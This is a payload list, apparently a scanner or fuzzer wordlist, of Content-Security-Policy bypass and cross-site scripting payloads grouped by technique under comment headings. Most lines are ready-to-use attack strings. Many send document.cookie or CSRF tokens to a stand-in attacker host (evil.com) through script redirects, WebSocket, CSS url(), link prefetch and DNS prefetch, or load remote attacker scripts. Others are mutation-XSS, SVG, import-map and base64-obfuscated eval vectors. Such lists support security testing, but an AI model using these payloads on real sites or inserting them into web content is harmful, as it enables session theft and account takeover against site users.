# CSP bypass payloads — WAF-specific and encoding evasion
# Format: one payload per line, comments start with #
# These test the intersection of WAF evasion + CSP bypass

# ── strict-dynamic bypasses ──
# strict-dynamic propagates trust to dynamically loaded scripts
<script nonce="REPLACE_NONCE">var s=document.createElement('script');s.src='https://evil.com/xss.js';document.head.appendChild(s)</script>
<script nonce="REPLACE_NONCE">import('https://evil.com/xss.js')</script>

# ── DOM clobbering to bypass nonce checks ──
<form><input name="nonce" value="fakevalue"></form>
<img name="nonce">

# ── Dangling markup injection (exfiltration without JS) ──
<img src="https://evil.com/?
<form action="https://evil.com/steal"><input name="csrf" value="

# ── CSS-based exfiltration (no JS needed) ──
<style>body{background:url('https://evil.com/?leak='+document.cookie)}</style>
@import url('https://evil.com/css?c=SECRET');
body { background: url("https://evil.com/?c=STEAL") }

# ── object/embed/applet bypasses (missing object-src) ──
<object data="https://evil.com/xss.swf"></object>
<embed src="https://evil.com/evil.swf" allowscriptaccess="always">
<applet code="evil.class" archive="https://evil.com/evil.jar"></applet>

# ── SVG-based XSS (when image/svg is allowed) ──
<svg><script>alert(1)</script></svg>
<svg onload="alert(1)">
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>#x"></use></svg>

# ── Meta tag bypasses ──
<meta http-equiv="Content-Security-Policy" content="default-src *">
<meta http-equiv="refresh" content="0; url=javascript:alert(1)">

# ── Link tag prefetch/preload (exfiltration) ──
<link rel="prefetch" href="https://evil.com/?c=COOKIE">
<link rel="preload" href="https://evil.com/evil.js" as="script">
<link rel="modulepreload" href="https://evil.com/evil.js">

# ── window.location redirect bypasses ──
<script>top.location='https://evil.com/?c='+document.cookie</script>
<script>window.open('https://evil.com/?c='+document.cookie)</script>
<script>document.location.href='https://evil.com/?c='+document.cookie</script>

# ── Service Worker registration (when script-src allows whitelisted paths) ──
<script>navigator.serviceWorker.register('/sw.js')</script>

# ── WebSocket exfiltration (bypasses connect-src in some implementations) ──
<script>var ws=new WebSocket('wss://evil.com');ws.onopen=function(){ws.send(document.cookie)}</script>

# ── PostMessage-based exfiltration ──
<iframe src="https://trusted.com" onload="this.contentWindow.postMessage(document.cookie,'*')"></iframe>

# ── DNS prefetch exfiltration ──
<link rel="dns-prefetch" href="//COOKIE.evil.com">

# ── Speculative execution / cache timing ──
<link rel="preconnect" href="https://evil.com">

# ── Import map bypass (Chrome 89+) ──
<script type="importmap">{"imports":{"react":"https://evil.com/evil.js"}}</script>

# ── Trusted Types bypass probes ──
<script>TrustedTypePolicy = window.trustedTypes && trustedTypes.createPolicy('default',{createHTML: s => s});document.body.innerHTML = '<img src=x onerror=alert(1)>'</script>

# ── Encoded script src bypass ──
<script src=//evil.com/xss.js></script>
<script src="//evil.com/xss.js"></script>
<SCRIPT SRC="//evil.com/xss.js"></SCRIPT>
<script/src="//evil.com/xss.js"></script>

# ── open() + write() bypass ──
<script>d=window.open('about:blank');d.document.write('<script>alert(parent.document.domain)<\/script>')</script>

# ── Mutation-based XSS (mXSS) ──
<p><style><img src=x onerror=alert(1)//</style>
<listing><img src=x onerror=alert(1)>
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>

# ── Template literal / tagged template bypass ──
<script>String.raw`\u0061lert\u00281\u0029`</script>
<script>eval(atob('YWxlcnQoMSk='))</script>

# ── Recursive iframe bypass ──
<iframe srcdoc="<iframe srcdoc='<script>top.alert(1)</script>'></iframe>"></iframe>
